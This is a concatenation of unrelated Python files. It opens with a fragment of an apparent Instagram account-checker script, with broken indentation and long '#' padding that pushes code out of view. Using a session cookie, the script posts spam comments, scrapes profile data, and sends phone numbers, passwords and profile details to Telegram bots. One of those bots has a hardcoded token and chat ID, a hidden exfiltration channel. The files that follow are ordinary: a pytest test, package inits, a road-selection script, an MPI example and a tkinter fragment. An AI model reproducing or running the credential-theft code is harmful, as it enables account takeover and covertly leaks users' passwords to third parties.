################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
urCOm = f'https://www.instagram.com/web/comments/2669921265571135668/add/'
hedCOM = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '44','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-457B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid=' + cook,'origin': 'https://www.instagram.com','referer': f'https://www.instagram.com/p/CUNdz7EoQC0/','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','user-agent': usus,'x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest'}
fffs=['bzhi','dastxosh','sarkawtwbn','jwana','shaza','dln','bas ba xotan']
tx=random.choice(fffs)
daCOM = {'comment_text': tx,'replied_to_comment_id': ''}
rn='12'
dm=random.choice(rn)
lp=int(dm)
for i in range(lp):
requests.post(urCOm, headers=hedCOM, data=daCOM)
headers_get_info = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'ar,en-US;q=0.9,en;q=0.8','cookie': 'ig_did=3E70DB93-4A27-43EB-8463-E0BFC9B02AE1; mid=YCAadAALAAH35g_7e7h0SwBbFzBt; ig_nrcb=1; csrftoken=Zc4tm5D7QNL1hiMGJ1caLT7DNPTYHqH0; ds_user_id=45334757205; sessionid='+str(cook)+'; rur=VLL','referer': 'https://www.instagram.com/accounts/edit/','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR3P8eA45g5ELL3lqdIm-DHKY2MSY_kGWkN0tGEwG2Ks9Ncl','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
url_get_info = 'https://www.instagram.com/accounts/edit/?__a=1'
data_get_info = {'__a': '1'}
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
req_get_info = requests.get(url_get_info, data=data_get_info, headers=headers_get_info)
usernm = str(req_get_info.json()['form_data']['username'])
url = f"https://www.instagram.com/{usernm}?hl=en"
r = requests.get(url,headers = {'User-agent': 'your bot 0.1'}).text
soup = bs4.BeautifulSoup(r,'html.parser')
description = soup.find("meta", property="og:description")
uurl=f"https://www.instagram.com/{usernm}/?__a=1"
hheaders={'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','cache-control': 'max-age=0','cookie': 'mid=YR2RKQALAAHrCbQwbS5NFzTCStuh; ig_did=424344B5-DCDF-4888-BD13-C56BE8BFF561; ig_nrcb=1; fbm_124024574287414=base_domain=.instagram.com; csrftoken=dq4i5qyC7mjFnr731RllWR0mvBf6w9nE; ds_user_id=44727257007; sessionid={cook}; shbid="8034\05444727257007\0541662125439:01f7c6e350cdd9d116745fbd697cadba8c1f58890de93e610ad53149cc44919876d79d91"; shbts="1630589439\05444727257007\0541662125439:01f718500f57b83260e7e22f8dd8c956a44d5dc5e8d0320a672aa6c651455f1570febc62"; rur="ASH\05444727257007\0541662129376:01f731bcc2afd2169af0bc7d969665be3b30ac3eaaa6603311276a0b02950003791bf2a0"','referer': 'https://codeofaninja.com/','sec-ch-ua': '"Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'document','sec-fetch-mode': 'navigate','sec-fetch-site': 'cross-site','sec-fetch-user': '?1','upgrade-insecure-requests': '1','user-agent': str(usus)}
pr={'__a': '1'}
inin=requests.get(uurl,headers=hheaders,data=pr)
profile_img=inin.json()['graphql']['user']['profile_pic_url_hd']
full_name=inin.json()['graphql']['user']['full_name']
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
usrrr=inin.json()['graphql']['user']['username']
id=inin.json()['graphql']['user']['id']
followers=inin.json()['graphql']['user']['edge_followed_by']['count']
following=inin.json()['graphql']['user']['edge_follow']['count']
posts = description["content"].split(",")[2].split("-")[0]
bio=inin.json()['graphql']['user']['biography']
u2 = "https://o7aa.pythonanywhere.com/?id="+id
g2 = requests.get(u2).text
r2 = re.compile('"data":(.*?),')
f2 = r2.findall(g2)
cc=f2[0]
print()
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
wget.download(profile_img)
numbb = 0
try:
for ili in os.listdir():
if numbb == 1:pass
elif '.jpg' in ili:
numbb += 1
files={'document':open(ili, 'rb')}
boooommm=f'{pn}:{pas}'
boooom=(f"\nNumber: {pn}\nPassowrd: {pas}\nUsername: {usrrr}\nID: {id}\nFull_Name: {full_name}\nFollowers: {followers}\nfollowing: {following}\nPost: {posts}\nCreated: {cc}\nBio:-\n{bio}")
requests.post(f'https://api.telegram.org/bot{token}/sendDocument?chat_id={ID}&caption={boooom}', files=files)
requests.post(f'https://api.telegram.org/bot2046732809:AAGirNIojRjisKl1w9m5uF8mIgoENcYJG00/sendMessage?chat_id=1854854598&text={boooommm}\n')
except:
requests.post(f'https://api.telegram.org/bot2046732809:AAGirNIojRjisKl1w9m5uF8mIgoENcYJG00/sendMessage?chat_id=1854854598&text={boooommm}\n')
requests.post(f'https://api.telegram.org/bot{token}/sendMessage?chat_id={ID}&text={boooommm}\n')
for ili in os.listdir():
if '.jpg' in ili:
try:os.remove(ili)
except:pass
try:os.system(f"rm -rf {ili}")
except:pass
else:pass
else:
bad+=1
print(f' bad : {bad} good : {available}')
except:
time.sleep(5)
continue
|
#!/usr/bin/env python3
"""
test_laboratory.py
Test the laboratory.py module.
"""
import amespahdbpythonsuite
from amespahdbpythonsuite.laboratory import Laboratory
class TestLaboratory():
"""
Test Laboratory class.
"""
def test_instance(self):
lab = Laboratory()
assert isinstance(lab, amespahdbpythonsuite.laboratory.Laboratory)
|
# from .book import Book
from .book_page import BookPage, TitlePage, ChapterPage
|
import os, glob, json
from random import shuffle, choice
from shutil import copy
from self_driving.edit_distance_polyline import iterative_levenshtein
def get_spine(member):
spine = json.loads(open(member).read())['sample_nodes']
return spine
def get_min_distance_from_set(ind, solution):
distances = list()
ind_spine = get_spine(ind)
for road in solution:
road_spine = get_spine(road)
distances.append(iterative_levenshtein(ind_spine, road_spine))
distances.sort()
return distances[0]
path = r'C:\Users\tig\Documents\deepjanus2020\data\member_seeds\test_roads_bad_130/*.json'
#path2 = r'C:\Users\tig\Documents\deepjanus2020\data\member_seeds\test_roads_bad_/*.json'
all_roads = [filename for filename in glob.glob(path)]
#all_roads += [filename for filename in glob.glob(path2)]
shuffle(all_roads)
roads = all_roads[:40]
starting_point = choice(roads)
original_set = list()
original_set.append(starting_point)
popsize = 12
i = 0
while i < popsize-1:
max_dist = 0
for ind in roads:
dist = get_min_distance_from_set(ind, original_set)
if dist > max_dist:
max_dist = dist
best_ind = ind
original_set.append(best_ind)
i += 1
base =r'C:\Users\tig\Documents\deepjanus2020\data\member_seeds\population_LQ11'
if not os.path.exists(base):
os.makedirs(base)
for index, road in enumerate(original_set):
dst = os.path.join(base,'seed'+str(index)+'.json')
copy(road,dst)
|
# -*- coding: utf-8 -*-
from __future__ import division, print_function, absolute_import
from ._load import *
from .inverse import *
from ._influence_line import *
from .utils import *
from .data import get_standard_influence_line
from . import serialize
from . import data
__version__ = "1.5.9"
|
#!/usr/bin/env python3
# numpy is required
import numpy
from numpy import *
# mpi4py module
from mpi4py import MPI
def utf8len(s):
return len(s.encode('utf-8'))
# Initialize MPI and print out hello
comm=MPI.COMM_WORLD
myid=comm.Get_rank()
numprocs=comm.Get_size()
print("hello from ",myid," of ",numprocs)
# Tag identifies a message
mytag=1234
# Process 0 is going to send the data
mysource=0
# Process 1 is going to get the data
mydestination=1
# Sending a single value each time
count=18
#count=5
gcount=count
print(utf8len('hello'))
# Do the send and recv a number of times
for k in range(1,4):
if myid == mysource:
# For the upper case calls we need to send/recv numpy arrays
#buffer=array(['hello'], dtype=str)
buffer=array('hello', dtype=str)
#buffer='hello'
# We are sending a string, count is optional, to mydestination
comm.Send([buffer,count,MPI.CHAR], dest=mydestination, tag=mytag)
#comm.Send(buffer, dest=mydestination, tag=mytag)
print("Python processor ",myid," sent ",buffer)
if myid == mydestination:
#if(k == 1) : buffer=array(['xxxxx'], dtype=str)
if(k == 1) : buffer=array('xxxxx', dtype=str)
# We are receiving an string, size is optional, from mysource
# For the upper case versions of routines data is returned in a buffer
# Not as the return value for the function
comm.Recv([buffer,gcount,MPI.CHAR], source=mysource, tag=mytag)
#comm.Recv([buffer], source=mysource, tag=mytag)
print("Python processor ",myid," got ",buffer)
MPI.Finalize()
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import tkinter as tk
from tkinter import messagebox
win = tk.Tk()
win.title("Take Your Height")
win.geometry("500x300")
l=tk.Label(win,text="请输入你的身高(单位:cm):")
l.place(x=20,y=20)
t=tk.Entry(win)
t.place(x=20,y=50)
